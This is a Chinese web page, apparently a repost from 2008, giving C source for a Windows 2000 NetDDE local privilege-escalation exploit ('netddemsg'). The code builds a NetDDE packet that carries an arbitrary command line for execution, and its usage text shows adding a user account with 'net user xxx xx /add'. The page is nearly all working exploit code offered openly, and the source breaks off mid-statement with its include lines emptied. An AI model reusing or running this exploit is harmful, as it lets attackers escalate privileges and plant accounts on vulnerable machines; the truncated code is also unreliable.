w2k本地溢出netddemsg源码
发布时间:2008-11-20
点击:
来源:本站原创
录入者:佚名
// netddemsg.cpp : Defines the entry point for the application.
// To link include library nddeapi.lib
#include
#include
#include
#include
char mess[300];
void OutPutString(char *str)
{
printf("%s\r\n",str);
}
void NDDEError(UINT err)
{
char error[256];
NDdeGetErrorString(err,error,256);
OutPutString(error);
// exit(err);
}
void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen)
{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky==NULL)
{
OutPutString("Out of memory.");
return NULL;
}
// 0xDDE1DDE1(magic number) 0x00000001 (?) 0x00000001 (?) // ShareModId unused (?)
char magic[0x20]="\xE1\xDD\xE1\xDD\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x09\x00\x00\x00\x01\xCC\xCC\xCC\xCC\x0";
memcpy(funky, magic, 0x18);
memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute
*pBufLen=funkylen;
return funky;
}
void Usage(char *file)
{
_snprintf(mess, 300, "Syntax is: %s [-s sharename] <\"command line\">\r\n", file);
OutPutString(mess);
_snprintf(mess, 300, "\t if the command line contain BLANK, use \" \" to include it,\r\n \t for ex: %s \"net user xxx xx /add\"\r\n", file);
OutPutString(mess);
OutPutString("\t /? or NO parameter show this.");
exit(0);
}
int main(int argc, char *argv[])
{
// Check command line
int cmdlinelen;
if(argc<=1 || !stricmp(argv[1], "/?"))Usage(argv[0]);
char *lpCmdLine=argv[1];
cmdlinelen=strlen(lpCmdLine);
char *szShare=NULL;
char *szCmdLine;
int cmdNo=1;
if(strncmp(lpCmdLine,"-s",2)==0)
{
if(argc<3)
{
OutPutString("You must specify a share after '-s'!");
return -1;
}
szShare=argv[2];
cmdNo=3;
}
if(argc
 关闭窗口
 打印文档
|